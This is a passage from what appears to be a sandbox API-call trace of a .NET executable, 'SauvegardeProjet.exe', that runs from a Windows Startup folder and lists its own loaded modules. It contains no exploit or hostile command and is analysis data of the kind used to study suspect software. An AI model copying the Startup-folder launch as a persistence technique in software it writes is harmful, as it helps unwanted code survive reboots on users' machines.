lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0233.375] CoTaskMemFree (pv=0x4fb3308) [0233.375] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.375] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73c90000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0233.375] CoTaskMemFree (pv=0x4fb3308) [0233.375] GetModuleInformation (in: hProcess=0x284, hModule=0x73f00000, lpmodinfo=0x24a0980, cb=0xc | out: lpmodinfo=0x24a0980*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0233.376] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.376] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73f00000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0233.376] CoTaskMemFree (pv=0x4fb3308) [0233.376] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.376] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73f00000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0233.377] CoTaskMemFree (pv=0x4fb3308) [0233.377] GetModuleInformation (in: hProcess=0x284, hModule=0x76e30000, lpmodinfo=0x24a2ac0, cb=0xc | out: lpmodinfo=0x24a2ac0*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0233.377] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.377] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x76e30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0233.378] CoTaskMemFree (pv=0x4fb3308) [0233.378] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.378] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x76e30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0233.379] CoTaskMemFree (pv=0x4fb3308) [0233.379] GetModuleInformation (in: hProcess=0x284, hModule=0x73b00000, lpmodinfo=0x24a4bd4, cb=0xc | out: lpmodinfo=0x24a4bd4*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0233.379] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.379] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73b00000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0233.380] CoTaskMemFree (pv=0x4fb3308) [0233.380] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.380] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73b00000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0233.380] CoTaskMemFree (pv=0x4fb3308) [0233.380] GetModuleInformation (in: hProcess=0x284, hModule=0x71210000, lpmodinfo=0x24a6da0, cb=0xc | out: lpmodinfo=0x24a6da0*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0233.381] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.381] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71210000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0233.381] CoTaskMemFree (pv=0x4fb3308) [0233.381] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.381] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71210000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0233.382] CoTaskMemFree (pv=0x4fb3308) [0233.382] GetModuleInformation (in: hProcess=0x284, hModule=0x73ee0000, lpmodinfo=0x24a8f90, cb=0xc | out: lpmodinfo=0x24a8f90*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0233.383] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.383] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ee0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0233.384] CoTaskMemFree (pv=0x4fb3308) [0233.384] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.384] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ee0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0233.385] CoTaskMemFree (pv=0x4fb3308) [0233.385] GetModuleInformation (in: hProcess=0x284, hModule=0x73ac0000, lpmodinfo=0x24ab1a8, cb=0xc | out: lpmodinfo=0x24ab1a8*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0233.385] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.385] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ac0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0233.386] CoTaskMemFree (pv=0x4fb3308) [0233.386] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.386] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ac0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0233.387] CoTaskMemFree (pv=0x4fb3308) [0233.387] GetModuleInformation (in: hProcess=0x284, hModule=0x73a30000, lpmodinfo=0x24ad2b4, cb=0xc | out: lpmodinfo=0x24ad2b4*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0233.388] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.388] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0233.388] CoTaskMemFree (pv=0x4fb3308) [0233.388] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.388] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0233.389] CoTaskMemFree (pv=0x4fb3308) [0233.389] GetModuleInformation (in: hProcess=0x284, hModule=0x73a10000, lpmodinfo=0x24af47c, cb=0xc | out: lpmodinfo=0x24af47c*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0233.390] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.390] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0233.391] CoTaskMemFree (pv=0x4fb3308) [0233.391] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.391] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0233.392] CoTaskMemFree (pv=0x4fb3308) [0233.392] GetModuleInformation (in: hProcess=0x284, hModule=0x73940000, lpmodinfo=0x24b15cc, cb=0xc | out: lpmodinfo=0x24b15cc*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0233.392] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.392] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73940000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0233.393] CoTaskMemFree (pv=0x4fb3308) [0233.393] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.393] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73940000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0233.393] CoTaskMemFree (pv=0x4fb3308) [0233.394] GetModuleInformation (in: hProcess=0x284, hModule=0x71080000, lpmodinfo=0x24b37c8, cb=0xc | out: lpmodinfo=0x24b37c8*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0233.394] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.394] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71080000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0233.395] CoTaskMemFree (pv=0x4fb3308) [0233.395] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.395] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71080000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0233.395] CoTaskMemFree (pv=0x4fb3308) [0233.395] GetModuleInformation (in: hProcess=0x284, hModule=0x70ee0000, lpmodinfo=0x24b5978, cb=0xc | out: lpmodinfo=0x24b5978*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0233.396] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.396] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70ee0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0233.397] CoTaskMemFree (pv=0x4fb3308) [0233.397] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.397] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70ee0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0233.397] CoTaskMemFree (pv=0x4fb3308) [0233.397] GetModuleInformation (in: hProcess=0x284, hModule=0x735f0000, lpmodinfo=0x24b7b40, cb=0xc | out: lpmodinfo=0x24b7b40*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0233.398] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.398] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x735f0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0233.399] CoTaskMemFree (pv=0x4fb3308) [0233.399] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.399] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x735f0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0233.399] CoTaskMemFree (pv=0x4fb3308) [0233.399] GetModuleInformation (in: hProcess=0x284, hModule=0x75b40000, lpmodinfo=0x24b9c4c, cb=0xc | out: lpmodinfo=0x24b9c4c*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0233.400] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.400] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75b40000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0233.401] CoTaskMemFree (pv=0x4fb3308) [0233.401] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.401] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75b40000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0233.449] CoTaskMemFree (pv=0x4fb3308) [0233.449] GetModuleInformation (in: hProcess=0x284, hModule=0x70de0000, lpmodinfo=0x24bbd58, cb=0xc | out: lpmodinfo=0x24bbd58*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0233.450] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.450] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70de0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0233.451] CoTaskMemFree (pv=0x4fb3308) [0233.451] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.451] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70de0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0233.451] CoTaskMemFree (pv=0x4fb3308) [0233.451] GetModuleInformation (in: hProcess=0x284, hModule=0x77ae0000, lpmodinfo=0x24bde7c, cb=0xc | out: lpmodinfo=0x24bde7c*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0233.452] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.452] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77ae0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0233.453] CoTaskMemFree (pv=0x4fb3308) [0233.453] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.453] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77ae0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0233.453] CoTaskMemFree (pv=0x4fb3308) [0233.454] CloseHandle (hObject=0x284) returned 1 [0233.493] GetCurrentProcessId () returned 0x564 [0233.493] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x284 [0233.493] EnumProcessModules (in: hProcess=0x284, lphModule=0x249671c, cb=0x100, lpcbNeeded=0x636cee0 | out: lphModule=0x249671c, lpcbNeeded=0x636cee0) returned 1 [0233.494] GetModuleInformation (in: hProcess=0x284, hModule=0x260000, lpmodinfo=0x249685c, cb=0xc | out: lpmodinfo=0x249685c*(lpBaseOfDll=0x260000, SizeOfImage=0x9c000, EntryPoint=0x2f6c3e)) returned 1 [0233.494] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.494] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x260000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0233.495] CoTaskMemFree (pv=0x4fb3308) [0233.495] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.495] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x260000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x70 [0233.495] CoTaskMemFree (pv=0x4fb3308) [0233.495] GetModuleInformation (in: hProcess=0x284, hModule=0x77b10000, lpmodinfo=0x2498a3c, cb=0xc | out: lpmodinfo=0x2498a3c*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0233.495] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.495] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77b10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0233.495] CoTaskMemFree (pv=0x4fb3308) [0233.495] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.495] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77b10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0233.495] CoTaskMemFree (pv=0x4fb3308) [0233.495] GetModuleInformation (in: hProcess=0x284, hModule=0x736a0000, lpmodinfo=0x249ab40, cb=0xc | out: lpmodinfo=0x249ab40*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0233.495] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.496] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x736a0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0233.496] CoTaskMemFree (pv=0x4fb3308) [0233.496] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.496] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x736a0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0233.496] CoTaskMemFree (pv=0x4fb3308) [0233.496] GetModuleInformation (in: hProcess=0x284, hModule=0x77540000, lpmodinfo=0x249cc4c, cb=0xc | out: lpmodinfo=0x249cc4c*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0233.496] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.496] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77540000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0233.496] CoTaskMemFree (pv=0x4fb3308) [0233.496] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.496] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77540000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0233.497] CoTaskMemFree (pv=0x4fb3308) [0233.497] GetModuleInformation (in: hProcess=0x284, hModule=0x75990000, lpmodinfo=0x249ed60, cb=0xc | out: lpmodinfo=0x249ed60*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0233.497] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.497] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75990000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0233.497] CoTaskMemFree (pv=0x4fb3308) [0233.497] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.497] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75990000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0233.497] CoTaskMemFree (pv=0x4fb3308) [0233.497] GetModuleInformation (in: hProcess=0x284, hModule=0x773f0000, lpmodinfo=0x24a0ea8, cb=0xc | out: lpmodinfo=0x24a0ea8*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0233.497] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.497] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x773f0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0233.498] CoTaskMemFree (pv=0x4fb3308) [0233.498] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.498] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x773f0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0233.498] CoTaskMemFree (pv=0x4fb3308) [0233.498] GetModuleInformation (in: hProcess=0x284, hModule=0x77490000, lpmodinfo=0x24a2fbc, cb=0xc | out: lpmodinfo=0x24a2fbc*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0233.498] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.498] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77490000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0233.498] CoTaskMemFree (pv=0x4fb3308) [0233.498] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.498] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77490000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0233.499] CoTaskMemFree (pv=0x4fb3308) [0233.499] GetModuleInformation (in: hProcess=0x284, hModule=0x75f70000, lpmodinfo=0x24a50c8, cb=0xc | out: lpmodinfo=0x24a50c8*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0233.499] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.499] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75f70000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0233.499] CoTaskMemFree (pv=0x4fb3308) [0233.499] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.499] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75f70000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0233.500] CoTaskMemFree (pv=0x4fb3308) [0233.500] GetModuleInformation (in: hProcess=0x284, hModule=0x758a0000, lpmodinfo=0x24a71d4, cb=0xc | out: lpmodinfo=0x24a71d4*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0233.500] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.500] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x758a0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0233.500] CoTaskMemFree (pv=0x4fb3308) [0233.500] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.500] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x758a0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0233.500] CoTaskMemFree (pv=0x4fb3308) [0233.500] GetModuleInformation (in: hProcess=0x284, hModule=0x75670000, lpmodinfo=0x24a932c, cb=0xc | out: lpmodinfo=0x24a932c*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0233.501] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.501] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75670000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0233.501] CoTaskMemFree (pv=0x4fb3308) [0233.501] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.501] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75670000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0233.501] CoTaskMemFree (pv=0x4fb3308) [0233.501] GetModuleInformation (in: hProcess=0x284, hModule=0x75660000, lpmodinfo=0x24ab438, cb=0xc | out: lpmodinfo=0x24ab438*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0233.502] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.502] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75660000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0233.502] CoTaskMemFree (pv=0x4fb3308) [0233.502] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.502] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75660000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0233.502] CoTaskMemFree (pv=0x4fb3308) [0233.502] GetModuleInformation (in: hProcess=0x284, hModule=0x73620000, lpmodinfo=0x24ad54c, cb=0xc | out: lpmodinfo=0x24ad54c*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0233.503] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.503] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73620000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0233.503] CoTaskMemFree (pv=0x4fb3308) [0233.503] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.503] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73620000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0233.503] CoTaskMemFree (pv=0x4fb3308) [0233.503] GetModuleInformation (in: hProcess=0x284, hModule=0x75db0000, lpmodinfo=0x24af694, cb=0xc | out: lpmodinfo=0x24af694*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0233.504] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.504] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75db0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0233.504] CoTaskMemFree (pv=0x4fb3308) [0233.504] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.504] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75db0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0233.504] CoTaskMemFree (pv=0x4fb3308) [0233.504] GetModuleInformation (in: hProcess=0x284, hModule=0x75810000, lpmodinfo=0x24b17a0, cb=0xc | out: lpmodinfo=0x24b17a0*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0233.505] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.505] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75810000, lpBaseName=0x4fb3308, nSize=0x800 | out: 